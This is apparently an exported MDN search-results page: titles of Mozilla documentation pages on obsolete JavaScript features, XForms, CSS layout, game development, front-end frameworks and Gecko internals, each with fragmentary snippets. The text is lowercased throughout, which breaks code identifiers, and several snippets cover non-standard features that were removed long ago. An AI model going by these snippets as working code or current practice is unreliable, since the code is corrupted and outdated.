... var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { yield i * i; } })(); // generator comprehension (for (i of numbers) i * i ); // result: both return a generator which yields [1, 4, 9] example 2: using if in generator.
New in JavaScript 1.8 - Archive of obsolete content
using javascript 1.8 in order to use some of the new features of javascript 1.8 in html, use: <script type="application/javascript;version=1.8"> ...
... when using the javascript shell, javascript xpcom components, or xul <script> elements, the latest js version (js1.8 in mozilla 1.9) is used automatically (bug 381031, bug 385159).
...previously it was possible to destructure the keys/values of an array by using for ( var [key, value] in array ).
Object.prototype.__noSuchMethod__ - Archive of obsolete content
try to avoid using it.
... examples simple test of __nosuchmethod__ var o = { __nosuchmethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); } }; o.foo(1, 2, 3); o.bar(4, 5); o.baz(); // output // foo (1, 2, 3) // bar (4, 5) // baz () using __nosuchmethod__ to simulate multiple inheritance an example of code that implements a primitive form of multiple inheritance is shown below.
...ply(this, args); } } // if we get here, the method hasn't been found throw new typeerror; } // used to add a parent for multiple inheritance function addparent(obj, parent) { // if the object isn't initialized, initialize it if (!obj.__parents_) { obj.__parents_ = []; obj.__nosuchmethod__ = nomethod; } // add the parent obj.__parents_.push(parent); } an example of using this idea is shown below.
LiveConnect - Archive of obsolete content
liveconnect provides javascript with the ability to call methods of java classes and vice-versa using the existing java infrastructure.
... liveconnect use by applets is enabled via the use of the "mayscript" attribute in applet tags on an html page, following which the applet may refer to classes in the netscape.javascript package to access javascript objects, and scripts may directly call applet methods (using the syntax document.applets.name.methodname()).
...by writing code like "new java.lang.string('javascript string')" for classes in the java.* package hierarchy, or using a new "packages" object for classes outside this hierarchy).
Old Proxy API - Archive of obsolete content
if the derived trap is undefined, a default implementation using the fundamental traps is used.
... typeof typeof anobjectproxy === "object" typeof afunctionproxy === "function" instanceof anobjectproxy instanceof c === true if and only if the prototype with which anobjectproxy was initialized equals or inherits from c.prototype afunctionproxy instanceof function === true common mistakes and misunderstanding when starting using proxies, there are often a few beginners' mistakes and misunderstandings: not implementing all traps.
... return 1; } }; var p = proxy.create(incompletehandler); var q = p.blabla; // alerts 'property blabla accessed' and 1 is assigned to q p.azerty = "trying to set a property"; // throws an error since neither the set trap or the fundamental trap used in the set trap are implemented no-op forwarding proxy in this example, we are using a native javascript object to which our proxy will forward all operations that are applied to it.
Examples - Archive of obsolete content
this page contains the source code of the examples related to the "properly using css and javascript in xhtml documents" article.
... </p> </body> </html> back to the article examples for "using css rules in inline style within comments" example 1 <!-- this file should have a .html extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>example 1 - xhtml 1.0 strict as text/html</title> <meta http-equiv="content-type" conten...
... </p> <p> <a href="http://validator.w3.org/check/referer"><img src="https://udn.realityripple.com/samples/8a/9e64asf935.png" alt="valid xhtml 1.0!" height="31" width="88" /></a> </p> </body> </html> back to the article examples for "using css rules in external file" example 4 <!-- this file should have a .html extension --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>example 4 - xhtml 1.0 strict as text/html</title> <meta http-equiv="content-type" content="text/html; c...
Sharp variables in JavaScript - Archive of obsolete content
usage to create a sharp variable, simply assign an object to it in a line of code using an equal sign.
... examples multiple references var a = { foo:#1=[], bar:#1# }; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "there!" you can avoid using sharp variables by breaking the declaration up into multiple lines.
... var a = #1 = { val:1, next:{val:2, next:#1#} }; a.val; // 1 a.next.val; // 2 a.next.next.val; // 1 a.next.next == a; // true again, you can eliminate the need for sharp variables by using two lines instead of one for the declaration.
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
a lot of the xforms capabilities are reachable by using our custom controls interfaces.
...this means that an author can write powerful mozilla-based applications by using xforms.
...this section could be of particular interest to people using custom controls in xul documents for the following reasons: xul, in many cases, is much better suited for application development than xhtml.
XForms Repeat Element - Archive of obsolete content
behaviour focusing a generated control may change the current index of the containing repeat element.
...index('lineset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table.
...to accommodate this, xforms 1.0 defines an alternative syntax that is functionally equivalent to the repeat element, using the following attributes: repeat-model repeat-bind repeat-nodeset repeat-startindex repeat-number additionally, when using xforms action setindex, its repeat attribute (which contains an idref) can point to any element carrying these repeat attributes.
XForms Select Element - Archive of obsolete content
you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... accesskey - used to specify the keyboard shortcut for focusing this control.
...the relaxation happens when the itemset element specifies the item value using a copy (see spec) element.
XForms Select1 Element - Archive of obsolete content
you can visually group these pre-defined items by using the choices (see the spec) element to contain them.
... accesskey - used to specify the keyboard shortcut for focusing this control.
...the relaxation happens when the itemset element specifies the item value using a copy (see spec) element.
Mozilla's DOCTYPE sniffing - Archive of obsolete content
try to avoid using it.
...the goals that led to choosing this behavior were the following: almost all existing text/html pages on the web that need to be in quirks mode to be displayed correctly should be displayed using quirks mode.
... pages written using any public identifiers in doctype declarations that appear in the future should be displayed using strict mode.
XUL Parser in Python - Archive of obsolete content
new "packages") on the fly using search and replace.
...after all the xul files in the specified directory and its subdirectories are fed to the parser and parsed (using the win32 system's <tt>dir /s /b *.xul</tt> command), the dictionary of dictionaries is sorted and written into an html table.
... until i spruce it up a little, this is just a very basic demonstration of using python's xml parser with xul.
Anatomy of a video game - Game development
in javascript, you are using the browser's main loop and you are trying to do so effectively.
...for the sake of demonstration, the example is based on the third bullet point, just without using web workers for readability (and, let's be honest, writability).
... once your main loop has been developed and you have decided on a set of assumptions and tradeoffs which suit your game, it is now just a matter of using your decisions to calculate any applicable physics, ai, sounds, network synchronization, and whatever else your game may require.
Introduction to game development for the Web - Game development
and we're not talking about simple card games or multi-player social games that have in the olden days been done using flash®.
...as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webgl (opengl es 2.0) input touch events, gamepad api, device sensors, webrtc, full screen api, pointer lock api language javascript (or c/c++ using emscripten to compile to javascript) networking webrtc and/or websockets storage indexeddb or the "cloud" web html, css, svg (and much more!) the business case as a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the web with your next game project.
...use its power to write the code for your game, or look at using technologies like emscripten or asm.js to easily port your existing games.
Explaining basic 3D theory - Game development
objects different types of objects are built using vertices.
... you can build geometry using this information — here is an example of a cube: a face of the given shape is a plane between vertices.
...the graphics rendering pipeline takes the 3d objects built from primitives described using vertices, applies processing, calculates the fragments and renders them on the 2d screen as pixels.
Tiles and tilemaps overview - Game development
this set of articles covers the basics of creating tile maps using javascript and canvas (although the same high level techniques could be used in any programming language.) besides the performance gains, tilemaps can also be mapped to a logical grid, which can be used in other ways inside the game logic (for example creating a path-finding graph, or handling collisions) or to create a level editor.
...the below images shows a tile atlas of 8 x 4 tiles: using an atlas also has the advantage of naturally assigning every tile an index.
... one simple technique consists of pre-rendering the map in a canvas on its own (when using the canvas api) or on a texture (when using webgl), so tiles don't need to be re-drawn every frame and rendering can be done in just one blitting operation.
Techniques for game development - Game development
this page lists essential core techniques for anyone wanting to develop games using open web technologies.
... using async scripts for asm.js especially when creating medium to large-sized games, async scripts are an essential technique to take advantage of, so that your game's javascript can be compiled off the main thread and be cached for future game running, resulting in a significant performance improvement for your users.
... using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
Visual-js game engine - Game development
3) please read the following terms and conditions before using this application: disclaimer of warranty 'visual js' is provided "as-is" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose.
... in no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software.
...j loader : https://github.com/frenchtoast747/webgl-obj-loader textures download from http://textures.com more texture downloads http://www.textures4photoshop.com/ female body v3.blend this file has been released by andrescuccaro under the following license: creative commons attribution 3.0 about gui for windows (canvas2d part only) : windows gui application version 1.0 (using visual-js 0.9 lib) important : you will need net 4.5.2 minimum also redistribution pack for c++ how to start project ?
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
example | assign a function to a variable javascript const foo = function() { console.log("foobar"); } // invoke it using the variable foo(); we assigned an anonymous function in a variable, then we used that variable to invoke the function by adding parentheses () at the end.
...to do so, we have two ways: 1- using a variable const sayhello = function() { return function() { console.log("hello!"); } } const myfunc = sayhello(); myfunc(); this way, it returns the hello!
... 2- using double parentheses function sayhello() { return function() { console.log("hello!"); } } sayhello()(); we are using double parentheses ()() to invoke the returned function as well.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
grid lines are created when you define tracks in the explicit grid using css grid layout.
...pper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px 100px; } lines can be addressed using their line number.
...-start; grid-row-start: row1-start; grid-row-end: rows-end; } learn more property reference grid-template-columns grid-template-rows grid-column-start grid-column-end grid-column grid-row-start grid-row-end grid-row further reading css grid layout guide: basic concepts of grid layout css grid layout guide: line-based placement with css grid css grid layout guide: layout using named grid lines css grid layout guide: css grids, logical values and writing modes definition of grid lines in the css grid layout specification ...
Grid Tracks - MDN Web Docs Glossary: Definitions of Web-related terms
they are defined in the explicit grid by using the grid-template-columns and grid-template-rows properties or the shorthand grid or grid-template properties.
... track sizing in the explicit grid when defining grid tracks using grid-template-columns and grid-template-rows you may use any length unit, and also the flex unit, fr which indicates a portion of the available space in the grid container.
...r: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: 200px 1fr 3fr; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> track sizing in the implicit grid tracks created in the implicit grid are auto-sized by default, however you can define a size for these tracks using the grid-auto-rows and grid-auto-columns properties.
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
for example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setattribute("maxlength", "42") on that element.
...these are the attributes you can read or set using javascript properties like element.foo.
...when using idl attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number.
Transport Layer Security (TLS) - MDN Web Docs Glossary: Definitions of Web-related terms
both ssl and tls are client / server protocols that ensure communication privacy by using cryptographic protocols to provide security over a network.
... when a server and client communicate using tls, it ensures that no third party can eavesdrop or tamper with any message.
...from version 74 onwards, firefox will return a secure connection failed error when connecting to servers using the older tls versions (bug 1606734).
Cascade and inheritance - Learn web development
the amount of specificity a selector has is measured using four different values (or components), which can be thought of as thousands, hundreds, tens and ones — four single digits in four columns: thousands: score one in this column if the declaration is inside a style attribute, aka inline styles.
... !important there is a special piece of css that you can use to overrule all of the above calculations, however you should be very careful with using it — !important.
... important declarations in author style sheets important declarations in user style sheets it makes sense for web developers' stylesheets to override user stylesheets, so the design can be kept as intended, but sometimes users have good reasons to override web developer styles, as mentioned above — this can be achieved by using !important in their rules.
Pseudo-classes and pseudo-elements - Learn web development
:focus — only applies if the user focuses the element using keyboard controls.
... article p:first-child::first-line { font-size: 120%; font-weight: bold; } generating content with ::before and ::after there are a couple of special pseudo-elements, which are used along with the content property to insert content into your document using css.
... in this next example, we have added an empty string using the ::before pseudo-element.
Styling tables - Learn web development
yes, we could have put both the background image and the linear gradient on the <thead> and <tfoot> elements using multiple background images, but we decided to do it separately for the benefit of older browsers that don't support multiple background images or linear gradients.
...by using percentages, so the design is more responsive.
...this includes information on using browser devtools to find solutions to your problems.
Test Your Skills: Fundamental layout comprehension - Learn web development
this task will test some of your knowledge by way of developing a simple webpage layout using a variety of techniques.
... if you don't want to work locally then using a tool such as codepen or jsfiddle will work as well.
... you will need to upload the images using their assets functionality and replace the value in the src attribute to point to the new image location.
Multiple-column layout - Learn web development
we switch on multicol by using one of two properties column-count or column-width.
...you have two opportunities to change the way that columns display: changing the size of the gap between columns using the column-gap.
... using your example above, change the size of the gap by adding a column-gap property: .container { column-width: 200px; column-gap: 20px; } you can play around with different values — the property accepts any length unit.
CSS layout - Learn web development
media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse.
... legacy layout methods grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
... supporting older browsers in this module we recommend using flexbox and grid as the main layout methods for your designs.
Publishing your website - Learn web development
ftp programs vary widely, but generally, you have to connect to your web server using details provided by your hosting company (typically username, password, hostname).
... using an online tool like github or google app engine some tools let you publish your website online: github is a "social coding" site.
... using a web-based ide such as codepen there are a number of web apps that emulate a website development environment, allowing you to enter html, css and javascript, and then display the result of that code as a website — all in one browser tab.
Tips for authoring fast-loading HTML pages - Learn web development
using valid markup has other advantages.
...consider compressing your images before adding them to your page, using compression features built into image-manipulation tools such as photoshop, or using a specialized tool such as compress jpeg or tiny png,.
... tables should use the css selector: property combination: table-layout: fixed; and should specify widths of columns using the <col> and the <colgroup> elements.
Use JavaScript within a webpage - Learn web development
if you want to execute a .js script from your webpage, just use <script> with an src attribute pointing to the script file, using its url: <script src="path/to/my/script.js"></script> writing javascript within html you may also add javascript code between <script> tags rather than providing an src attribute.
... test your site using a keyboard only.
... learn more <script> <noscript> james edwards' introduction to using javascript accessibly accessibility guidelines from w3c ...
Document and website structure - Learn web development
objective: learn how to structure your document using semantic tags, and how to work out the structure of a simple website.
...e, you can mark up sections of content based on their functionality — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." as we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job.
...it doesn't even particularly warrant using a <section>, as it isn't part of the main content of the page.
HTML table basics - Learn web development
LearnHTMLTablesBasics
in this module we are focusing on the html part; to find out about the css part you should visit our styling tables article after you've finished here.
... in short, using tables for layout rather than css layout techniques is a bad idea.
...because tables are not the right tool for layout, and the markup is more complex than with css layout techniques, the screenreaders' output will be confusing to their users.
General asynchronous programming concepts - Learn web development
this cursor is how the operating system says "the current program you're using has had to stop and wait for something to finish up, and it's taking so long that i was worried you'd wonder what was going on." this is a frustrating experience and isn't a good use of computer processing power — especially in an era in which computers have multiple processor cores available.
...it is up to the programming environment you are using (web browsers, in the case of web development) to provide you with apis that allow you to run such tasks asynchronously.
... conclusion modern software design increasingly revolves around using asynchronous programming, to allow programs to do more than one thing at a time.
Image gallery - Learn web development
if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page.
...you need to add an onclick handler that: checks the current class name set on the <button> — you can again achieve this by using getattribute().
... if the class name is "dark", changes the <button> class to "light" (using setattribute()), its text content to "lighten", and the background-color of the overlay <div> to "rgba(0,0,0,0.5)".
Test your skills: JSON - Learn web development
json 1 the one and only task in this article concerns accessing json data and using it in your page.
...this basically means that you can't request a file from one origin using code on a different origin.
...you can get around these restrictions using cors, but this is beyond the scope of what we are teaching here.
Measuring performance - Learn web development
while this article does not dive into using these apis, it is useful to know they exist.
... you can also refer to the navigation and timings article for further examples on using performance web apis.
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
Perceived performance - Learn web development
in other words, first download everything you're going to actually show, but only the stuff you are actually using, then download the rest.
... prevent jumping content and other reflows images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance.
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
What is web performance? - Learn web development
there are a lot of best practices to consider in making apps feel smooth, for example using css animations rather than javascript for animation, and minimizing the number of repaints the ui requires due to changes in the dom.
...reducing the number of http request you make by downloading less files, using a cdn to make your site more universally performant across thw world, and using http/2 to serve file more efficiently from the server).
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
Server-side website programming - Learn web development
displaying all of these using different static pages would be extremely inefficient, so instead such sites display static templates (built using html, css, and javascript), and then dynamically update the data displayed inside those templates when needed, such as when you want to view a different product on amazon.
... learning pathway getting started with server-side programming is usually easier than client-side development, because dynamic websites tend to perform a lot of very similar operations (retrieving data from a database and displaying it in a page, validating user-entered data and saving it in a database, checking user permissions and logging users in, etc.), and are constructed using web frameworks that make these and other common web server operations easy.
...you should start with the first module, then go on to one of the following modules, which show how to work with two very popular server-side languages using appropriate web frameworks.
React interactivity: Editing, filtering, conditional rendering - Learn web development
we can clean this up by using conditional rendering to determine which template the component returns, and is therefore rendered in the ui.
... beneath our previous addition, add the following — here we are using the object.keys() method to collect an array of filter_names: const filter_names = object.keys(filter_map); note: we are defining these constants outside our app() function because if they were defined inside it, they would be recalculated every time the <app /> component re-renders, and we don’t want that.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
React resources - Learn web development
try installing one of these, then using it to inspect the app you’ve just built!
... class components although this tutorial doesn’t mention them, it is possible to build react components using es6 classes – these are called class components.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Starting our Svelte Todo list app - Learn web development
objective: to learn how to create a svelte component, render it inside another component, pass data into it using props, and save its state.
... repl to code along with us using the repl, start at https://svelte.dev/repl/b7b831ea3a354d3789cefbc31e2ca495?version=3.23.2 todo list app features this is how our todo list app wil look like once it's ready: using this ui our user will be able to: browse their tasks.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Vue conditional rendering: editing existing todos - Learn web development
when using native html events (like click), this will pass the native event object to your method.
... understanding the tangle of events one of the most potentially confusing parts is the tangle of standard and custom events we've used to trigger all the interactivity in our app.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Styling Vue components with CSS - Learn web development
while this tutorial will not be using such tools, it's good to know that when including such code in the assets folder it will be processed automatically.
...in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Accessibility API cross-reference
aria can be used to 'fill out' the missing semantics of html, but may also be used in other markup languages (such as svg) and expresses semantics using attributes, compared with html, which tends to have distinct named elements for its roles.
... grid a composite widget containing a collection of one or more rows with one or more cells where some or all cells in the grid are focusable by using methods of two-dimensional navigation, such as directional arrow keys, e.g.
... n/a n/a treegrid if you're using more than one consecutive whitespace element in html, you're doing it wrong.
Multiprocess on Windows
unfortunately, crossing apartment boundaries using com incurs the exact same problem as crossing process boundaries: if we directly use com's built in marshaling capabilities to forward an rpc from the mta to the main thread sta, com will still use the sta's message queue, thus defeating the purpose of using the mta in the first place!
...since we are using com, we already generate metadata by declaring interfaces using midl.
... using the interceptor in a11y code unlike the built in com marshaling schemes, we must explicitly wrap any com objects that we want to expose, through the mta with interceptors.
Index
686 theme concepts theme, add-on themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
... 687 using the amo theme generator amo, add-ons, firefox, guide, tutorial, add-on the theme generator on addons.mozilla.org (amo) guides you through the process of creating a theme for firefox.
... 689 updates firefox supports automated updates to add-ons using json update manifests.
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggesti...
...dbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla.org/en/docs/special:search</searchform> </searchplugin> notice in this case that instead of using <param> to define parameters to the search engine, they're simply embedded inside the template url.
... this is actually the preferred way to do things when using get as the method.
Debugging
debugging the mozilla platform using debuggers with mozilla debugging mozilla on windows faq questions (and answers) about debugging mozilla on windows.
... gecko logging using old-school logging to try to track down what's going on.
... reporting a performance problem ...using the gecko profiler extension.
pymake
prerequisites if running windows, you need to have a windows build environment installed for using pymake to build mozilla.
... type touch .profile using any appropriate text editor open .profile and add the following line in the file (assuming your mozilla-central is at c:/mozilla-central, if not, adjust your path accordingly.) alias pymake=c:/mozilla-central/build/pymake/make.py save your .profile edit and close the shell, then restart the shell.
... note: on windows, if using an absolute path moz_objdir in your .mozconfig, it must be a windows-style (i.e.
ESLint
this automatic linting can happen either while coding, in a code editor, or when using the command line.
... vcs hooks hooks are available for mercurial & git, see using a vcs hook for more details.
... foo.jsm exports a symbol, but that is not recognised by eslint check it is listed correctly in tools/lint/eslint/modules.json using services.scriptloader.loadsubscript?
Reviewer Checklist
[fennec: checking for log levels is expensive unless you're using logger.] style follow the style guide for the language and module in question.
...whitespace can be fixed easily in mercurial using the checkfiles extension.
... adequately document any potentially confusing pieces of code.
SVG Guidelines
e descriptive ids avoid inline styles and use class names or svg attributes examples here are some examples for excessive number precision: 5.000000e-02 → 0.05 (as seen here) -3.728928e-10 → 0 (as seen here) translate(0.000000, -1.000000) → translate(0, -1) (as seen here) as for descriptive ids: for gradients: svg_id1 → gradient1 (as seen here) use of class names avoid using a class if that class is only used once in the file if that class only sets a fill or a stroke, it's better to set the fill/stroke directly on the actual shape, instead of introducing a class just for that shape.
... avoid using a <use> tag when that <use> tag is being referenced only once in the whole file.
... instead of using css/svg transforms, apply directly the transform on the path/shape definition.
Cross Process Object Wrappers
chrome code can load frame scripts into the content process using the message manager, and can then communicate with them using a message-passing api.
... to learn more about this, see the documentation on using the message manager.
... passing cpows from frame scripts frame scripts can send messages to chrome using one of two global functions: sendasyncmessage() or sendsyncmessage().
Process scripts
if you're using the addon sdk you can use the remote/parent module's remoterequire instead.
...child process message manager, which enables the process script to receive messages from the chrome side, and to send messages to the chrome side: // process-script.js if (services.appinfo.processtype == services.appinfo.process_type_content) { dump("welcome to the process script in a content process"); } else { dump("welcome to the process script in the main process"); } // message is sent using contentprocessmessagemanager sendasyncmessage("hello"); in this example, the dump() statement will run once in each content process as well as in the main process.
... in just about every respect, using process scripts is like using frame scripts: you can pass the allowdelayedload to loadprocessscript().
Message manager overview
all three enable chrome code to: load a script into a frame in the content the content process using a loadframescript() function.
... communicate with frame scripts using addmessagelistener() and broadcastasyncmessage() or sendasyncmessage() functions.
... you can mix and match: so for example, you could load a script into every <browser> using the global message manager, but then send a message to the script instance loaded into a specific <browser> using the browser message manager.
Overview of Mozilla embedding APIs
using these interfaces an embedding application can build up its own user interface around a webbrowser instance.
...using this function, one can use nsisupports instances and still easily access other interfaces via nsiinterfacerequestor.
...typically the ns_get_iid(...) macro is used instead of using the nscomtypeinfo template directly.
Roll your own browser: An embedding how-to
there are many examples of products already using gecko for embedding.
...(mozilla blurb) bradsoft's topstyle css builder: implements an internal browser using mozilla activex embedding control.obsolete since gecko 7.0 nxzilla: a set of libraries that allow mozilla to be used with a nanox server.
... activex control: an activex control for mozilla using the gecko layout engine.
Script security
xrays are designed to prevent untrusted code from confusing trusted code by redefining objects in unexpected ways.
... for example, privileged code using an xray to a dom object sees only the original version of the dom object.
... however, the privileged target is able to copy objects and functions into the less privileged scope using the exportfunction() and cloneinto() functions, and the less privileged scope is then able to use them.
Geckoview-Junit Tests
these tests run on an android device, controlled by a host (typically linux) using mozdevice (adb).
... mozilla-central$ mach install --app org.mozilla.geckoview.test to run all tests: mozilla-central$ mach geckoview-junit to run just one class of tests: mozilla-central$ mach geckoview-junit <class> please note that unlike robocop tests, <class> needs to be specified using the fully qualified class name including the package, e.g.
... tests can also be conditionally skipped using junit's assume or assumethat methods.
Getting Started with Chat
for example, you can connect using ssl or a non-secure connection, and you can configure the client to automatically connect to a server and join a particular set of channels when you start the client.
... nickserv this bot allows you to register your nickname which prevents other users from using it.
... /msg nickserv identify password once registered, you need to type this every time you want to sign into channels using your registered nickname /msg nickserv help this displays a list of commands which can be used with nickserv /msg nickserv help register this displays helpful information about nickname registration /msg nickserv help identify this displays helpful information about identifying yourself upon sign in for more information about nickserv go here.
How to get a stacktrace with WinDbg
(you'll want the 32-bit version, even if you are using a 64-bit version of windows) then install it, the standard settings in the installation process are fine.
...(more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c:\symbols*http://msdl.microsoft.com/download/symbols .symfix+ c:\symbols .reload /f now wait for the symbols to download.
...even using the command line with symchk.exe to download symbols will fail.
How to implement a custom autocomplete search component
implement the list of matched strings using the nsiautocompleteresult interface.
...this can happen when using an autcomplete panel in a panel (for example if an autcomplete textbox is set in a panel that shows and hides).
... if you are using xulrunner please don't forget that changes will only take place when you either disable caching or run xulrunner with -purgecaches ...
IME handling guide
so, native ime handlers using this class means that the dispatching part is also tested by automated tests.
...that is much faster than using contenteventhandler.
... in this case, using the last composition string as commit string.
Download
a new download object can be created using the downloads.createdownload() function.
... this property may be populated or changed while the download is in progress, using the mime type provided by the server.
...this can be done using the removepartialdata() or the finalize() methods.
JavaScript OS.Constants
using os.constants from the main thread to initialize os.constants for use in the main thread, add the following snippet to your code: components.classes["@mozilla.org/net/osfileconstantsservice;1"].
...useful mostly for using js-ctypes to interact with the following platforms: macos x; android; linux; other variants of unix.
...before using a constant, you should check that it is defined.
PopupNotifications.jsm
note: you shouldn't need to call this when using the popupnotifications object in firefox windows; firefox code takes care of this automatically.
...this is normally specified in css using list-style-image and the .popup-notification-icon[popupid=...] selector.
... notification events if you specify an event callback using the options parameter when calling show(), the callback function gets invoked when the state of the notification changes.
Examples
let lastpromise = newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises.
... using a promise returned by a function (compact) the same code as the previous example is usually written with a more compact syntax: components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); os.file.exists(path).then(exists => { console.log(exists ?
...this is accomplished by using promise.all, this feature requires promise.jsm.
Promise.jsm
if you just need a promise, consider using a dom promise instead.
... if you need a deferred, because you want to create a promise and manually resolve or reject it, consider using promiseutils.jsm instead.
... promises may also be created using the new promise() constructor.
Application Translation with Mercurial
file paths here work starting with a slash (/) followed by the drive letter, and then the directory structure like on windows, but using slashes (/) instead of backslashes (\).
... you installed scrapbook earlier, now open it in firefox either by calling it from the firefox menu bar (press the alt key to show it if necessary) using "view" > "sidebar" > "scrapbook" or by clicking its toolbar button which you likely have to add by toolbar customization if you didn't do this before.
... now export the patch to the file system using the qexport command which is defined in the .hgrc file (see above): hg qexport > ../firefox-29-aboutprivatebrowsing-v1.patch this creates a patch file called firefox-29-aboutprivatebrowsing-v1.patch containing the changes in the parent directory of de-mozilla-aurora (in this example: c:\mozilla\).
Localization and Plurals
people using the extension can then copy/paste this input.
